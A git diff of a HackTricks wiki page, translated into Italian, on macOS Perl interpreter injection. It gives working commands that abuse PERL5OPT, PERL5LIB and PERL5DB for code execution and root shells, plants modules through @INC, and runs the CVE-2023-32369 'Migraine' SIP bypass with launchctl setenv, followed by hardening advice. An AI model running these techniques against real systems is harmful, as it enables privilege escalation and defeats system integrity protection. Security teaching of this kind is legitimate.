mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/macos-hardening/macos-security-and-privilege-escalation
This commit is contained in:
parent
3717219cb4
commit
834cd95744
@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Tramite la variabile d'ambiente `PERL5OPT` & `PERL5LIB`
|
||||
## Via `PERL5OPT` & `PERL5LIB` env variable
|
||||
|
||||
Utilizzando la variabile d'ambiente PERL5OPT è possibile far eseguire a perl comandi arbitrari.\
|
||||
Utilizzando la variabile d'ambiente **`PERL5OPT`** è possibile far eseguire a **Perl** comandi arbitrari quando l'interprete si avvia (anche **prima** che la prima riga dello script di destinazione venga analizzata).
|
||||
Ad esempio, crea questo script:
|
||||
```perl:test.pl
|
||||
#!/usr/bin/perl
|
||||
@ -22,17 +22,30 @@ package pmod;
|
||||
system('whoami');
|
||||
1; # Modules must return a true value
|
||||
```
|
||||
E poi usa le variabili di ambiente:
|
||||
E poi usa le variabili di ambiente in modo che il modulo venga localizzato e caricato automaticamente:
|
||||
```bash
|
||||
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
|
||||
PERL5LIB=/tmp/ PERL5OPT=-Mpmod perl victim.pl
|
||||
```
|
||||
## Via dipendenze
|
||||
### Altre variabili d'ambiente interessanti
|
||||
|
||||
È possibile elencare l'ordine della cartella delle dipendenze di Perl in esecuzione:
|
||||
* **`PERL5DB`** – quando l'interprete viene avviato con il flag **`-d`** (debugger), il contenuto di `PERL5DB` viene eseguito come codice Perl *all'interno* del contesto del debugger. Se puoi influenzare sia l'ambiente **che** i flag della riga di comando di un processo Perl privilegiato, puoi fare qualcosa del genere:
|
||||
|
||||
```bash
|
||||
export PERL5DB='system("/bin/zsh")'
|
||||
sudo perl -d /usr/bin/some_admin_script.pl # aprirà una shell prima di eseguire lo script
|
||||
```
|
||||
|
||||
* **`PERL5SHELL`** – su Windows questa variabile controlla quale eseguibile della shell Perl utilizzerà quando deve avviare una shell. Viene menzionata qui solo per completezza, poiché non è rilevante su macOS.
|
||||
|
||||
Sebbene `PERL5DB` richieda l'opzione `-d`, è comune trovare script di manutenzione o di installazione che vengono eseguiti come *root* con questo flag abilitato per la risoluzione dei problemi dettagliata, rendendo la variabile un vettore di escalation valido.
|
||||
|
||||
## Via dipendenze (@INC abuse)
|
||||
|
||||
È possibile elencare il percorso di inclusione che Perl cercherà (**`@INC`**) eseguendo:
|
||||
```bash
|
||||
perl -e 'print join("\n", @INC)'
|
||||
```
|
||||
Che restituirà qualcosa come:
|
||||
L'output tipico su macOS 13/14 appare come:
|
||||
```bash
|
||||
/Library/Perl/5.30/darwin-thread-multi-2level
|
||||
/Library/Perl/5.30
|
||||
@ -44,17 +57,44 @@ Che restituirà qualcosa come:
|
||||
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
|
||||
/System/Library/Perl/Extras/5.30
|
||||
```
|
||||
Alcune delle cartelle restituite non esistono nemmeno, tuttavia, **`/Library/Perl/5.30`** **esiste**, **non è** **protetta** da **SIP** ed è **prima** delle cartelle **protette da SIP**. Pertanto, qualcuno potrebbe abusare di quella cartella per aggiungere dipendenze di script in modo che uno script Perl ad alta privilegio lo carichi.
|
||||
Alcune delle cartelle restituite non esistono nemmeno, tuttavia **`/Library/Perl/5.30`** esiste, *non* è protetta da SIP ed è *prima* delle cartelle protette da SIP. Pertanto, se puoi scrivere come *root* puoi inserire un modulo malevolo (ad es. `File/Basename.pm`) che sarà *preferenzialmente* caricato da qualsiasi script privilegiato che importa quel modulo.
|
||||
|
||||
> [!WARNING]
|
||||
> Tuttavia, nota che **devi essere root per scrivere in quella cartella** e oggigiorno riceverai questo **prompt TCC**:
|
||||
> Hai ancora bisogno di **root** per scrivere all'interno di `/Library/Perl` e macOS mostrerà un prompt **TCC** che chiede *Accesso completo al disco* per il processo che esegue l'operazione di scrittura.
|
||||
|
||||
<figure><img src="../../../images/image (28).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
Ad esempio, se uno script importa **`use File::Basename;`** sarebbe possibile creare `/Library/Perl/5.30/File/Basename.pm` contenente codice controllato dall'attaccante.
|
||||
|
||||
Ad esempio, se uno script importa **`use File::Basename;`**, sarebbe possibile creare `/Library/Perl/5.30/File/Basename.pm` per far eseguire codice arbitrario.
|
||||
## Bypass di SIP tramite Migration Assistant (CVE-2023-32369 “Migraine”)
|
||||
|
||||
Nel maggio 2023 Microsoft ha divulgato **CVE-2023-32369**, soprannominato **Migraine**, una tecnica di post-exploitation che consente a un attaccante *root* di **bypassare completamente la Protezione dell'integrità di sistema (SIP)**.
|
||||
Il componente vulnerabile è **`systemmigrationd`**, un demone dotato di **`com.apple.rootless.install.heritable`**. Qualsiasi processo figlio generato da questo demone eredita il diritto e quindi viene eseguito **al di fuori** delle restrizioni SIP.
|
||||
|
||||
Tra i figli identificati dai ricercatori c'è l'interprete firmato da Apple:
|
||||
```
|
||||
/usr/bin/perl /usr/libexec/migrateLocalKDC …
|
||||
```
|
||||
Perché Perl onora `PERL5OPT` (e Bash onora `BASH_ENV`), avvelenare l'*ambiente* del demone è sufficiente per ottenere un'esecuzione arbitraria in un contesto senza SIP:
|
||||
```bash
|
||||
# As root
|
||||
launchctl setenv PERL5OPT '-Mwarnings;system("/private/tmp/migraine.sh")'
|
||||
|
||||
# Trigger a migration (or just wait – systemmigrationd will eventually spawn perl)
|
||||
open -a "Migration Assistant.app" # or programmatically invoke /System/Library/PrivateFrameworks/SystemMigration.framework/Resources/MigrationUtility
|
||||
```
|
||||
Quando `migrateLocalKDC` viene eseguito, `/usr/bin/perl` si avvia con il malevolo `PERL5OPT` ed esegue `/private/tmp/migraine.sh` *prima che SIP venga riabilitato*. Da quel script puoi, ad esempio, copiare un payload all'interno di **`/System/Library/LaunchDaemons`** o assegnare l'attributo esteso `com.apple.rootless` per rendere un file **non eliminabile**.
|
||||
|
||||
Apple ha risolto il problema in macOS **Ventura 13.4**, **Monterey 12.6.6** e **Big Sur 11.7.7**, ma i sistemi più vecchi o non patchati rimangono sfruttabili.
|
||||
|
||||
## Raccomandazioni per il rafforzamento
|
||||
|
||||
1. **Pulisci le variabili pericolose** – i launchdaemons privilegiati o i cron job dovrebbero avviarsi con un ambiente pulito (`launchctl unsetenv PERL5OPT`, `env -i`, ecc.).
|
||||
2. **Evita di eseguire interpreti come root** a meno che non sia strettamente necessario. Usa binari compilati o riduci i privilegi presto.
|
||||
3. **Fornisci script con `-T` (modalità taint)** in modo che Perl ignori `PERL5OPT` e altri switch non sicuri quando il controllo di taint è abilitato.
|
||||
4. **Tieni macOS aggiornato** – “Migraine” è completamente patchato nelle versioni attuali.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [https://www.youtube.com/watch?v=zxZesAN-TEk](https://www.youtube.com/watch?v=zxZesAN-TEk)
|
||||
- Microsoft Security Blog – “Nuova vulnerabilità macOS, Migraine, potrebbe bypassare la Protezione dell'Integrità di Sistema” (CVE-2023-32369), 30 maggio 2023.
|
||||
- Hackyboiz – “Ricerca sul bypass SIP di macOS (PERL5OPT & BASH_ENV)”, maggio 2025.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user